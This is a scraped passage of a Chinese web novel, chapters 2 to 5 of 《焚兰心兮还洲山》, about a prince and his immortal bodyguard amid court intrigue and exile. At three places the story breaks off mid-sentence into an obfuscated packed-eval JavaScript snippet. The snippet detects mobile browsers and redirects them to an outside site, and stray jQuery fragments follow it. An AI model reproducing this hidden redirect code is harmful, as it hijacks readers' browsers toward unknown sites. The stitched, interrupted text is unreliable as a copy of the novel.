《焚兰心兮还洲山》
2. 鬼角
宇文暾是三皇子,往上有皇后所生的太子、大公主,两位品阶稍低的妃嫔所生的二皇子、二公主,这才轮到宇文暾,往后又有七个皇弟、皇妹。眼见太子身健,皇后端庄,太子大宇文暾十岁,算算时日,宇文暾并无皇帝可当。
他的母妃李夫人出身陇西李氏,李家世代纵横于刀剑马上,李夫人与皇帝相识甚早,当皇帝还未是皇帝时就伴于君侧。只可惜宇文暾姗姗来迟,也或是更恨郎心有转移,李夫人的儿子做不成太子,她心里有怨。李夫人总是差皇后半步,她却不信自己的儿子会比太子差。
不是太子,轮不上由太子太傅一手教导,宇文暾这般宽厚聪敏,李夫人便搜罗天下良师,换着法送进宫里教导宇文暾。
宇文暾每日的程课给塞得满满当当,有文有武。整座蓬阳殿,最用功的就是宇文暾了,偏偏他还不知疲倦,乐在其中。早上请安毕了就开始学,学到太阳西沉也不释卷。
那小侍卫就不同了。自那一次私逃又被捉拿回宫,俞之陆断了逃跑的心思。俞函以宇文暾的武学师父身份入蓬阳殿,却还轮不上教宇文暾,是在白日教导俞之陆,令俞之陆根本无处可逃。
炼体该有多苦?学武该有多难?三伏天练淬火身,数九天卧冰饮雪。他人该睡了的时候,俞之陆得醒。他人该醒了的时候,俞之陆得聚精会神,小心提防所有可能伤害到主人的存在,一花一叶皆是杀器,心便要比花叶还细,身法要比雀鸟更轻。此为学成了的俞之陆。
现下,俞之陆还是个毛头孩子。做宇文暾的死士、近卫,这并非他所愿。难道不入宫就没那一口饭可吃吗?他从北漠更北的部落来,部落与部落间战争频发,两年前北昭军北上收复散胡领地,俞之陆随部落遗孤南下,颠沛流离,讨饭一年半。
俞之陆被俞函挑中,完全是场意外。如若他不跟俞函走,他的同族就要遭难。俞之陆小小年纪,就深知豁出一条命,可拼得盆满钵满。大不了他一跑了之,一次不行就两次,反正没人打得死他。
俞函也好,李夫人也好,要俞之陆给宇文暾做死士,都是因为看中他的秘密。
俞之陆是不死之身。
自宇文暾发现俞之陆有极快的自愈能力,宇文暾便更愿意将俞之陆带在身边了。他要俞函在皇子修武的院子里教导俞之陆,有时宇文暾也上去学个一招半式,更多时候竟是命人打开殿门,他在殿里学琴棋书画,俞之陆在院里学武。春一来,宇文暾又命人将书案搬至院中,不刮风、不下雨时,宇文暾便与老师在院中念书、考校。
俞函不解,去见李夫人。李夫人说:“我这儿子天性仁厚,又机敏善断,你瞧,他还不满七岁,就知道留人在眼皮子底下才叫安全。他担心你用皮鞭子抽小侍卫,用刀子剜小侍卫,还给小侍卫点哑穴,所以才这样做。”
“可是教养死士,就是要上刑才有力道,小孩才能学得会。”俞函恭敬而忧愁。
李夫人又问过了其他小死士是如何教养的,俞函一一答过。相比而言,俞之陆的日子过得如公子般爽快。李夫人又问,那这样教了,俞之陆会比其他小死士差么?俞函不知,他心里觉得俞之陆是要逊色些的,可又不好砸了自己的招牌。
“你去向暾儿解释吧。你去他那儿说通了,他兴许就不拦你了。”李夫人泰然道。
俞函做了二十余年的门客,虽已退隐江湖,可他从前也是以奇型诡术结合刀剑兵法闻名的大师。他知道皇宫艰难,没曾想教个死士小孩也要毕恭毕敬。早知如此,何必要让宇文暾过问他的暗卫伴读?俞函看不懂李夫人,李夫人亲自教的儿子也不是善茬。
俞之陆懵懵懂懂,心不在宫内,在宇文暾的庇佑下,饱足地过了这个冬天。临到了春日,俞之陆才像醒了一般,正视起自己的命运。
“之陆,说话。”
宇文暾今儿个心情好,决定来撬开俞之陆的嘴。宇文暾知道俞之陆爱吃肉,今日唤辛阑、辛夷备了几道羊肉菜,宇文暾让俞之陆同他一起吃,但俞之陆须得按宇文暾的要求做事。
这人为什么要装哑呢?宇文暾仔细回忆俞之陆寥寥几次开口,口音与京安不同,这可以理解,难道还有旁的缘由?
俞之陆刚从武学场回来,一身热汗凉却,黏糊糊地贴着里衣,很不舒服。宇文暾要请他吃羊肉,俞之陆高兴,可没曾想,他打手势不好使了。他拎起衣襟嗅了嗅,投请求的眼神给宇文暾,宇文暾本应放他回耳房换衣,怎么现在要求他说话了?
“说什么?”俞之陆也不犹豫,回话了。
“从今日起,不兴同我打手势、作眼神,要做什么,统统说出来。”宇文暾道。
“为何?”仍是极不客气的二字。一旁伺候的辛阑、辛夷微微蹙眉,担心调教不力的祸水落到自己头上。
宇文暾放人:“你先去换衣罢。”
俞之陆换过干爽的衣服,宇文暾命辛夷为俞之陆布菜,俞之陆在桌前略显拘束,眼睛却随着辛夷的筷子走,他许久没吃羊了,那水草丰美之处养出的北漠羊……自是这萧索皇城比不得的。
这时,宇文暾却收缴了俞之陆的筷子。他问:“是谁,教你不与我说话?”
“师父说,暗卫是哑巴。”俞之陆断断续续地回话,但语气自然,“不用说话,养得不用说话,你要养,我也要养。”
宇文暾眨眨眼,又问了几个问题,俞之陆答得磕磕绊绊。宇文暾这才说:“你不会说官话?”
“但我能懂。”俞之陆说,“懂就能学。”
“若想学会,就要多说。忘了你师父教你的‘少言’准则,你明面上要做伴读,怎能连官话都说不好。”宇文暾宽宥地将筷子还给俞之陆。
方才俞之陆的意思是,俞函教俞之陆做哑巴,俞之陆要习惯这回事,宇文暾也当习惯这回事。宇文暾听懂了,心里不喜欢,当即否掉。
前些日子俞函向宇文暾禀明了死士之驯养手段,宇文暾不过问宫外的死士,独独追问俞之陆。俞函打算于春日开始让俞之陆严苛修行,宇文暾阅过,毛笔一批,要俞函顾及俞之陆的休息,俞之陆是过了明路的侍从,领了湛明光远方亲戚的身份,不能虐待他。俞之陆可以偏研武法,日后做校尉,但不应让人看出他在做死士的修行。
宇文暾另加了一条,令俞函内心惊异,他真是孩童吗?不知是李夫人教得好,还是宇文暾天赋如此。宇文暾加的一条是:我每日要检查俞之陆肢体健全,不可在他头颈、腕、髀处留伤。
至此,每晚俞之陆都要向宇文暾示颈部、手腕与大腿是无伤的。俞之陆哪知道为什么,他还觉得这三皇子殿下有些太客气了。
李夫人道:“呵呵,我没得与皇后、贵嫔斗,生了个儿子倒是与我斗得欢。”话里带刺,语调却骄傲。这是宇文暾担心李夫人与俞函私下试验俞之陆的死门。
所谓不死之身,是真能不死么?倘若断他肢、枭他首,他还能活么?宇文暾的意思便是不许大人们拿俞之陆来试。
俞之陆被宇文暾强逼着开口讲官话,自是有用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411420|184596||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处的。不过半年,皇帝秋狩,妃嫔携皇子一道秋游。年幼的三皇子应当选伴读了,皇帝心里记挂此事,可这世家公子里,同岁的好苗子真是不多。皇帝抱宇文暾坐膝上,要宇文暾选,宇文暾说他已有伴读了,皇帝面色微变,宇文暾又说,其实不是伴读,是小侍卫,但宇文暾只想让侍卫做伴读,反正伴读也是陪皇子读书的书童而已。
皇帝的面色这才缓和下来,皇帝是最难容忍擅作主张的,是李夫人也不行。皇帝唤人带这小侍卫上来,俞之陆第一次面见天子,跪地不敢起,皇帝命他抬头回话,从哪家来,何时来。幸亏俞之陆的官话已说得不别扭,虽有卡顿,但可当是不受天子威压,他毕竟还小。
原来是湛将军的亲戚。皇帝记得,湛将军的夫人是李夫人之胞妹。这小娃来自武官之家,又听得常侍说,这小侍卫确实是日日在院中习武的,倒也学字,聪颖必定不及三皇子殿下。
罢了,李夫人想来是更担心这独子的安危。皇帝放过了俞之陆,默许李夫人的安排。其他世家子弟未必就好。皇帝还担心旁的孩子会欺负宇文暾呢。
秋狩夜宴,皇子齐聚,不带伴读、侍从。俞之陆与其他伴读于别处吃宴,一桌尽是官宦子弟,年岁不等。三皇子小,更小的皇子还轮不上找伴读;三皇子的伴读也小,桌上年纪最大之子弟,年龄是俞之陆的三倍。
俞之陆只埋头猛吃,忘却白日见皇帝的惶恐。原来那便是皇帝,不过是父亲罢了。
世家公子捉弄俞之陆,饭毕,一位公子传三皇子口信,要俞之陆去秋狩鹿林等三皇子,皇子们要夜探鹿林,也是宴会后直接去了。
三皇子殿下才满七岁,连刀都没摸过,怎能夜狩?俞之陆已训练有半年,他根骨、天赋俱是上佳,现下是身量不够,使不得刀剑,匕首还是使得的,俞函说他“匕若眸光”,是说匕首刀光只若余光般的幻觉。俞之陆个子矮,还只能刺下三路,令人暂松半口气。
俞之陆持匕首进鹿林,站定于口信所提的古柏下,很快便听见马蹄声。
马蹄纷纷,俞之陆直觉不对。他人小腿短,朝马蹄声的反方向跑去,走大路危险便走小道,只可惜一只暗箭破风而来,正中俞之陆后背,将他几乎钉在地上。
这般痛楚岂是“剧痛”二字能概括?俞之陆恍惚咳血,眼中晦暗,已是将死之态,前路未卜。但,俞之陆是从那北漠坟场活着回来的孩子,他是不死之身,又意志顽强,在喘息片刻后,他双眼重新聚焦,摸索着爬向草丛深处。这次他没有再让任何人找到他。
此箭的箭柄有手指粗,箭矢穿胸而过,俞之陆试图反手拔箭,无能为力,折腾许久,俞之陆最后还是藏在草中昏沉睡去。
鸡鸣晨起,俞之陆是被渴醒的。
箭矢仍在,胸口却只剩微痛。俞之陆漠然地攥住箭矢,另一手挥舞匕首,竟是大力将箭矢砍断下来。没了倒钩的箭头,俞之陆很快便想办法将胸后的长箭拔了出来。
脑袋很沉,丑态未改。多亏这丑态,俞之陆不怕疼更不怕死,见血也欢喜。
俞之陆用沾了血的手,抚上自己额前一对骨白色的长角。此鬼角光滑微弯,顶端圆尖,有小臂长,触之微凉,胡人部落称之为不祥。
俞之陆以匕首贴额,利落地将新生鬼角削将下来,借石刨土,就地掩埋。他的额前徒留两个血窟窿,但他知道这伤口很快就会好。
这便是俞之陆常年戴抹额的理由了。昨日他换了深青色抹额,正好便宜他今天藏起额前这血色。
3. 竹马
俞之陆眺望鹿林更深处,秋狩猎场有军兵营围,可也比高墙遍布的京安好逃。是逃还是不逃?
正当俞之陆这样想着,就听宫人常侍带队找人的动静,扯着尖细的薄嗓,唤俞之陆的名字,或将换换称谓,也喊“小侍卫”、“小伴读”。俞之陆匍匐草丛中,眼见宫人路过他,风中飘来浅浅交谈声。
“若是找不到人,没法向三皇子殿下交了差。你们仔细找,人不够就再招些。”常侍道,“三皇子殿下急病了,陛下也担忧,今儿个猎场还能不能开,还要看三皇子殿下放不放陛下走。”
俞之陆的心蓦地突跳几下。
宇文暾在李夫人帐中发高热,李夫人请皇帝来,皇帝难得见宇文暾烧得面色通红,也是心软,这样聪明的儿子要是烧傻了怎么办?御医替宇文暾诊治一番,说是宇文暾急火攻心,昨夜又在账外徘徊,内外寒热一交替,这才受风发热。皇帝感慨荒唐:“这么小的孩子,哪来的这么大火气?”
李夫人解释道,是昨夜太子、二皇子的伴读们欺负暾儿的小伴读,应是将人诱进鹿林深处了,暾儿昨夜请人去找,找了两轮都没找见,只好求见太子与二皇子,问究竟是将人引至何处。可太子与二皇子不仅不见暾儿,还命侍卫统统不许去找。暾儿一夜未眠,早晨便烧得不省人事。
皇帝听明白了。常侍在账外求见,终于找着了小侍卫。宇文暾坐起身,他耗了皇帝一早晨,见皇帝愠怒,要责难俞之陆,宇文暾气喘,常侍押着小侍卫回来,俞之陆一身草泥,显然前一夜也不好过。
宇文暾与俞之陆对上眼神。宇文暾的眼泪说下便下,俞之陆不知如何应对,竟也伏地干嚎,不出眼泪但出声。
李夫人温言劝说皇帝,人回来便好,她会将人带回蓬阳殿好好教导。俩小儿胆子都小,担不起皇帝威严,请陛下体谅。说罢,李夫人同皇帝出了帐,宫人也退去,只剩宇文暾、侍女辛夷与俞之陆。
此乃契机,俞之陆头一次意识到,他与三皇子殿下应当同进退。若三皇子不负他,他也不该叛逆。
一年之期已到,俞之陆能说一口流利官话,也识字背经,最要紧的是,他与宇文暾交好,已有默契。
宇文暾的老师出题,俞之陆将能答的全答上,答不上的便许诺日后补过,必不落下。老师认为俞之陆且忠且诚,做伴读是够用了。
俞之陆喜欢武学。俞函眼见骗不过宇文暾,不好用烙铁、泥汤、禁闭、刀钺来练俞之陆,只能换一方式,掏出两本心法。
一本心法名为《飞神功》,月晦星冥之时开始修炼,打通小周天,孤心可畅游世际,养成广阔无边的武识。另一本心法名为《匡机经》,须得赶一日的毒辣阳光才练得,聚阳灵于大周天,使功法于经脉中通行,供给无边内力,可使一切兵器武法。
俞函对俞之陆道:“我本不该教你这江湖功法——可既然你喊我‘师父’,三皇子殿下也客气唤我一声‘老师’,我只得尽力教导你。我得友人赠这两本功法,有豪侠后人,也有隐逸侠仕,他们精于武学,却苦于无人继承。如今是灭侠重士的时代,我只希望你借此心法记住他们。”
这些心法皆是秘密。借由秘密,师徒二人才终于建立起情谊。小孩被当做可以信任之人,遂报答这信任。大人承认小孩之特殊,才得以定心培养小孩。
俞之陆兴趣飘忽,迟迟定不下专门的武器。弓枪刀剑、锁钩盾斧,俞之陆全学了个遍。他每半月要去一趟暗卫营,与三皇子的暗卫、死士比试,孩童们使得趁手的武器相互厮杀,俞之陆每次去几乎都要换兵器,偏偏他争气,自他八岁起,每次试炼都是第一。
就三皇子的养法,俞之陆怎么能不得第一?他是三皇子的武伴读,却吃掉了皇子粮肉份例的三分之二。三皇子得严格按照礼法度过每一个时辰,俞之陆却不同。他若是夜里练了《飞神功》,可推迟至辰时才起床;午间他练过《匡机经》,还可用过饭食就休息。俞之陆从暗卫营大胜归来,侍女辛夷与辛阑还要问俞之陆想吃什么,可为他多添两道爱吃的菜。
俞之陆心大,从不过问三皇子的好意是从何而来。这不是天经地义的么?俞之陆这一生要替宇文暾挡多少刀啊!俞之陆自己都不乐意数了。
宇文暾的身体到底比不得俞之陆,有时说病便病了。身为皇子,宇文暾精通六艺,六艺中与武学挂钩的只有骑射,宇文暾便也只练骑射。每年皇子比武,宇文暾总拿个不上不下的名次。其他几艺,但凡与慧根相关的,宇文暾统统拔得头筹,因此皇帝总爱拿宇文暾的聪慧来刺痛皇子们,加之李夫人与王皇后素来不合,宇文暾总受太子针对。
有俞之陆这样一位同岁的武伴读,宇文暾少受许多罪。
寻常的奚落与机锋,宇文暾能靠自己的嘴皮子挡回去。遇见动拳脚的事,那就全要靠俞之陆了。
皇宫内除虎贲卫士可携刀剑,其余侍卫鲜少得佩兵器。俞之陆为避人耳目,专修了一门点穴法,以石击穴,可封人口舌、麻痹手脚,甚至令人晕死过去。凡是遇太子或二皇子携侍卫挑衅,俞之陆就点穴作弄回去。
有一回太子侍卫拔刀,受太子之命,直奔俞之陆而来,教训藐视天家尊严的武伴读。十三岁的俞之陆步法如云,在三位侍卫之中灵活周旋,击中太子侍卫手腕,宽刀应声落地。宇文暾提醒俞之陆,皇宫内不兴舞刀,俞之陆便在纷杂围攻中,踢刀柄将刀送出去。太子侍卫去捡刀,又有新刀给卸了下来。如是几场轮战,俞之陆毫不越矩,太子及其侍卫却被赶来的太子太傅抓个正着。
太傅判断宇文暾有大才,但太傅不喜欢宇文暾。宇文暾无所谓太子太傅的态度,反正太子输了。
还有那么几回,俞之陆替宇文暾试菜,真给俞之陆尝到了几种奇毒。这般看来,宇文暾当然要好吃好喝喂着俞之陆,俞之陆不吃过同一桌的食物,宇文暾都不敢动筷。
宇文暾全然信任俞之陆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411421|184596||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,李夫人一度想拆散他俩,宇文暾便向李夫人陈情:“母亲,我与之陆抵背相靠,互作支撑。他是少年心性不假,可他从无坏心,亦从不接受他人招揽。您说我仁心无用,那也是我的孩童心性罢了。若不是我心仁,之陆当初定不信我。您要我去与太子争,其中危险,不必明说。若不是有之陆,我恐怕早被毒得痴傻。您请当之陆真是我的伴读吧。您可还见过第二位不死之人么?没有了。世上只有这一位俞之陆。”
李夫人敲打宇文暾,她招一位武伴读,不是为了让宇文暾只与伴读玩。宇文暾要与太子争,就得广结识,与其余士族人才往来。宇文暾是白皮里夹了涩芯,面善心傲,愈长大愈是极端,外仁内厉,惹得太子恨不得早早逼宇文暾领封地当王爷去。
离了母亲寝宫,宇文暾脚步轻快,最愿意去瞧俞之陆练刀,将母亲的敲打全忘之脑后。
宇文暾与俞之陆自小互相扶持,尽竹马情谊。宇文暾将学得的兵书、法论全讲给俞之陆听,也不管俞之陆能懂几分。俞之陆听得不耐烦了,大叫摔书而走,宇文暾笑着求俞之陆回来,他以粮米作立体的地形图,一点点讲与俞之陆听,什么是三十六计,如何分析曲折。俞之陆因俞函的江湖身份,遍得天下武学,他学过之后,也教回给宇文暾。宇文暾身为皇子,行坐都端正,除了皇宫的剑术之外,他不愿意学旁的。俞之陆只好与宇文暾交换,俞之陆学文,宇文暾就学武。俞之陆亲自学了一套《云浮剑法》,再手把手教宇文暾练会,这剑法只需微薄内力,便可催得轻剑增威百倍,身法如鹤,剑若雷光。
这般好光景,至二人十五岁那年到达顶峰。
宇文暾向皇帝呈上《阵法演》,是宇文暾将现有的兵书全融会贯通,遍查北昭大大小小几百场战役,结合北昭国土之地形与堪舆,做成一部兵法谱,用时可如查棋谱般,见招拆招。皇帝宇文敬喜出望外,宇文暾甚至是以祝寿名义递上来的,这般好兵书,宇文暾没有私藏,选择呈给敬爱的父皇。
宇文暾因此得了一块南山陨铁。白天拿到,晚上就偷偷送出宫。宫外江湖名匠三个月便打成了,送返回来。那日雪若崩花,天际有暗紫色的幽雷,俞之陆捧着宇文暾送他的陨铁刀,爱不释手。
“刀已赠你,自然是你起名。”宇文暾莞尔道。
“你奚落我。我哪能起出甚么好名字。”可俞之陆捧着刀不放手,也笑得见牙不见眼。
宇文暾望窗外诡谲天色,今年的雪来得过早,时令全混沌了。宇文暾便说:“‘岁终梦老心未改,红刀惊雪故人来’。换我,我会叫它‘惊时’,一刀落下,时令也乱了。”
俞之陆顺势一摸宇文暾的手,凉极,俞之陆当即寻了暖炉,塞进他手里,这才又把玩起自己的新刀。
“就叫‘惊时’。从此我便只用刀了。”俞之陆欢喜。这可是皇帝赐给宇文暾的宝贝,多少朝臣将军不可得的,以后就挎在俞之陆腰上了,谁来也抢不走。
4. 流放
天灾始,朝廷变。
建隆二十年,早雪败秋收,然冬月大雨,水溢为灾,百姓饥寒交迫,受困贫地。北方部族又蠢蠢欲动,意欲缓慢地收回失处。民众间开始流传诡秘之玄象,称北天有新兆,是灾异也是救星,去北地之人皆获神奇巫力,可饱食不寒,以气养生,可为异人。于是乎又有流民北迁之趋势,归顺北方部族者众多。
清谈士族借此上谏,或有不公,请皇帝勤加理政,开春需得设坛祭天。武将率兵去北边镇关,李夫人的哥哥李邕被封镇北将军,得遣之。
岁寒,李夫人平添白发,终日愁思,她命内侍合上殿门,她要与宇文暾、俞之陆秘密议事。
“暾儿,之陆,现下我需要你们做出些牺牲。”李夫人道,“太子与王皇后已等不得了。如今只有两个选择,一是入春之后便立刻将暾儿你送往封地,远出京安,三年内不得归来;二……二是之陆假死,这或许还能为暾儿争取一年半载,留在京安等转机。”
不仅是太子与王皇后等不得了,几位皇子借天灾蓦地登上权力擂台。朝内局势紧张,李家明升暗贬,李夫人估计哥哥这一行凶多吉少,已作最坏打算。若不是王家老臣联合百官推举,皇帝不会派李将军前去。
众人皆知宇文暾是皇位竞争的有力人选,为何要他在这时退出?李夫人有苦衷,却不得告知。宇文暾大致一推算,便想明白了。
李家如今被削,北地战况不明,天灾亦不明,王皇后及其外家恐已布下天罗地网。皇帝派李邕去北边,不代表这是信任他,说不定是为李家下套。他宇文暾要么留在皇城做一位被剪了羽的李家人质,要么自请去封地,宣布退出争斗,愿为皇帝分忧,治理灾后的狼藉。
宇文暾同俞之陆低语,当着李夫人的面说悄悄话,是为李夫人的话作注解。李夫人气笑了,将桌上一枚玛瑙牌符扫落在地。俞之陆捡起来,略一摩挲,发现此为新制的玛瑙符。李夫人对宇文暾说:“哥哥走之前留了一支秘密部曲,以此符调遣。若你去封地,他们会如同羽林军一般护卫你。若你不去封地,之陆在暗处保护你便够了。”
俞之陆将玛瑙符交给宇文暾,抢话道:“难道他去封地不带我?不论兰缨去哪里、在何处,有我在就都足够。”
李夫人更是恼火:“暾儿,我不喜你这字!‘兰缨’……过于阴柔!不合礼制!”
俞之陆心中一乐,暗道,美人配美字,怎么不合适了?皇子不及弱冠就要起字,宇文暾为俞之陆的刀起名,以作交换,俞之陆送宇文暾一个正式的字——“就叫‘兰缨’如何?”那时俞之陆眼巴巴看向宇文暾。
“兰缨”二字不足以寄托志向抱负,可宇文暾还是接下了。若皇帝逼他改,到时候再说。
宇文暾道:“去封地还是留京安,母亲想我怎样选?”
“都好。都不好。”李夫人疲惫至极。
宇文暾又道:“母亲,日后我们多加议事吧。我有这般头脑,不用岂不是可惜?”
看来宇文暾是要选留在京安。俞之陆无所谓,假死就假死,他这武伴读也当够了,换种身份,或许更自在,因为他只需在暗处瞧着宇文暾,不必与旁人打交道。
宫中流传消息,三皇子殿下的武伴读因急病暴毙而亡,遍体红疮,死状凄惨。蓬阳殿内外大兴清洁,似是要驱除秽物。有常侍叹道,这武伴读的武技高超,杀戮自如,倜傥疏狂,得此结局,实在可惜。
俞之陆换一袭黑衣,潜于暗处,拾起暗卫的本领。他本就是暗卫营的魁首,不论宫内宫外,他的武学已巅峰造极。
李将军一去便是两年,边境战乱不休。宇文暾是众皇子之眼中钉,他便借伴读之死,告病半年。御医来看,都说三皇子殿下的体弱不是一时之况,这不是自小便如此么。
皇帝的身体每况愈下,此时,李邕托心腹进贡一块巨灵石,称这块灵石便是流民北迁的原因。李邕斗胆替皇上试过,此灵石确有神效,可愈伤、饱腹、壮体、强神。
这块巨灵石有丈高,需三人才可合抱。巨灵石呈一种奇异的胭脂色,没入水中却又褪成剔透海蓝。皇帝命工匠加急造一座灵池,将巨灵石嵌入池底,供其养生修行。有灵石为伴,皇帝的身体确实好转,神采奕奕,似年轻二十岁。李家一时间得无上荣宠,只差李邕打一场漂亮的胜仗。
可是,好景不长。
建隆二十三年,皇帝因巨灵石而精神矍铄三月有余,后人却认为这是回光返照。三个月以后,皇帝忽的晕厥不起,此后即便苏醒,也神智不清。
太子发难李家,进贡妖石,谋害龙体。不论李家以何种证据证明无辜,皇帝很快驾崩,李家百口莫辩。皇帝死前未留继位诏书,遂顺应嫡序,太子继位。
李邕被押送回京,因献妖石祸国,削镇北将军,下狱待诏处死。李夫人妖言惑主,赐白绫一条。李氏宗族满门抄没,罪臣父母亲族抄斩,远支族人流放,永不回京。
李家于朝中只剩一位三皇子。三皇子此等聪达奇智,却眼见李家覆没。新皇念三皇子曾呈军书《阵法演》,李邕一回京,其旧部归顺新皇,立刻以军书指导,拿下胜绩。新皇赐三皇子“朔北王”,发往朔北封地,以镇北虏,研究兵法以护国。
蓬阳殿的宫人几乎被杀绝,俞之陆来不及救许多人,最终只救下侍女辛阑、老常侍盼永和几位同龄侍卫。
至于宇文暾,他陷入漫长悔恨中,恨自己未阻拦李邕献上巨灵石,也恨自己未劝服母亲。太子的白绫,你为何要吊?他们明明可救李夫人离宫,李夫人却不愿独活,是自己害了李家氏族,输给了王皇后。
新皇一路派兵押送宇文暾去朔北,宇文暾于心中细数自己的罪过,忧思过多,神智混沌。他错就错在……错在……?宇文暾已尽力,北昭重文臣、轻武将,他小太子十岁,太子有充足时间结盟,王家又是门阀望族,朝中小树依大树,宇文暾所养的寒门谋士还未有机会崭露头角,现恐已被连累遭难。小姓世家素来见风使舵,宇文暾即便拿捏他们的弱处,小姓世家也未必敢冒头。至于李家的武将关系——宇文暾当时就该选第三个选项,除了去封地、留京安之外,他本应随舅舅去北地……
幸好还有俞之陆。
俞之陆的师父俞函换上人皮面具,重归江湖。在离开之前,俞函将幽神令交予俞之陆。李夫人曾请俞函在民间培养暗卫、死士,此令即为号令。这些年培养出的暗卫共十二人,俞之陆都认得的,除去“陆”号,从“壹”至“十三”,全归俞之陆调遣。
俞函原
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411422|184596||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就是为了还中护军湛明光的恩情,才协助李夫人。如今湛家遭受李家牵连,俞函要回好友身旁,不能暗中陪同三皇子殿下去朔北。俞之陆是俞函最骄傲的弟子。他相信俞之陆可护三皇子周全。
俞之陆也戴人皮面具,混入押送队伍,作宇文暾马车旁最近的军士。
他们一路上朔北,路遇山贼、强盗都算家常便饭,新皇还派了他的死士前来执行灭口任务。朔北王死在路上更好,天才往往短命,新皇难道还真指望朔北王继续贡献智慧?
死士遇死士,不会死的死士自是无敌。俞之陆令六位暗卫先去朔北城探路,剩下六位暗卫暗中保护。新皇派死士百余人,俞之陆斩杀九十余。一把惊时刀吸饱鲜血,俞之陆挥斩之优雅,杀人之迅疾,令人胆寒。六位暗卫或多或少受伤,俞之陆留他们就近去治疗,治好后朔北城见。
有死士逃回京安禀报新皇,要给朔北王扣帽子了。在与死士一战中,押送军也死尽。俞之陆与宇文暾弃车,去驿站借两匹驿马,要赶在死士抵达京安前,先行一步抵达朔北城,完成交接。
双骑如鬼魅,两行夜流星。
宇文暾上任朔北王,他告诫自己,必须振作。
舅舅的镇北军被叛将收编,只剩母妃所说的那支部曲私兵伪装成迁徙散胡,归入朔北城。宇文暾无权将俞之陆提为校尉,俞之陆则主动提出,他应当继续藏在暗中。时局愈是动荡,俞之陆就愈应该“无形”。
新皇大抵也能猜到,俞之陆是换了一种形式陪伴在宇文暾身旁,当年的武伴读是假死。俞之陆说:“兰缨,我无法替你练兵,一切恐怕只得你自己来。你对李将军的亏欠,也应当由你亲手收回兵权而偿还。”
宇文暾明白这一道理。他从前重文,幸好俞之陆做他武学的“师兄”,教他练剑,不至于让宇文暾手无缚鸡之力、任人宰杀。
宇文暾屯兵、养民两手抓。他以朔北城为据点,兢兢业业两年,至弱冠年岁,扩兵至五千,百姓安定。他在抵御外族中积攒经验,已与当年在京安的宇文暾很是不同了。
为防止宇文暾拥兵返京,新皇派监军前来朔北城,辅佐朔北王,专理军政。
监军还未抵达,朔北城外却忽然乱了。胡骑夜袭,宇文暾率兵平乱。甫一返回城中休整,便有胡部头目派使者前来求和,声称愿意降附朔北王,携马牛百头以为示意。胡部只希望朔北王出城赴约,约定处离朔北城倒是不远。
宇文暾认为是圈套,可这支胡部确实扰民不堪,这是他的封地,于情于理他都该解决此事。在俞之陆陪同下,宇文暾带五百精兵赴约。
胡部归顺不是圈套,返城却遭了埋伏。他们于朔北城外遭受流箭袭击,死伤惨重,此战法不像胡人,反倒像北昭军。
俞之陆最怕流箭,四面八方来,他自己不怕中箭,只怕护不住宇文暾。
宇文暾以盾挡箭,他换了寻常军士的衣服,暗敌恐是一时间没认出谁是朔北王,流箭没有靶心。俞之陆御马回旋,忽然,一支箭直朝俞之陆后脑而来,俞之陆却被暗处动静吸引了注意力。宇文暾心急,扬马跃起,他替俞之陆挡了那箭,箭矢直刺入右胸。
那时宇文暾只想,不能让俞之陆后脑中箭。俞之陆没试过,宇文暾不敢试。
5.成亲
朔北荒凉,城外三十里,地势起伏,有风沙卷长草,没有可以遮蔽的树林。敌人在干河谷埋伏,黄沙夜幕掩甲光,临到宇文暾等人过河谷,角声四起,杀声如雷。
宇文暾中箭,缰绳一时脱手,俞之陆单臂一揽,宇文暾顺势跨上俞之陆的马匹。俞之陆从后抱住宇文暾的腰,他叫宇文暾举好盾,只需护住宇文暾自己。
俞之陆单骑破军,前方关隘仍有藏兵,此时宇文暾咬牙撑住,替俞之陆牵住马匹缰绳,宇文暾喊道:“你且应战!我来识路!”
声音落下,刀光也旋即落下。俞之陆抽出惊时刀,关隘伏兵的刀刃全给俞之陆削尽,马匹砍尽,人便更不可能靠近俞之陆分毫,霎时间断臂、残首伴随血幕划弧落地,乱蹄踏尽。
马儿没有跑往朔北城,而是去了胡杨环绕的弃村,黄叶如雾,却是幽魂禁地。几年前胡骑屠村,死伤数百,幸存者皆已移居塞内。
宇文暾支撑不住,盾牌脱手,俞之陆长臂扶住长盾,再将盾别在身后。其实俞之陆也身中了三箭,长□□入他侧腹又拔出,可俞之陆常年受伤惯了,对疼痛已不敏感。
二人抵达弃村,宇文暾半晕过去,俞之陆一一探查空屋,最终选中一座旧庙,因为只有这旧庙的屋顶还完好,可抗风。个别屋舍仍有骨尸未曾入土,更添哀伤。
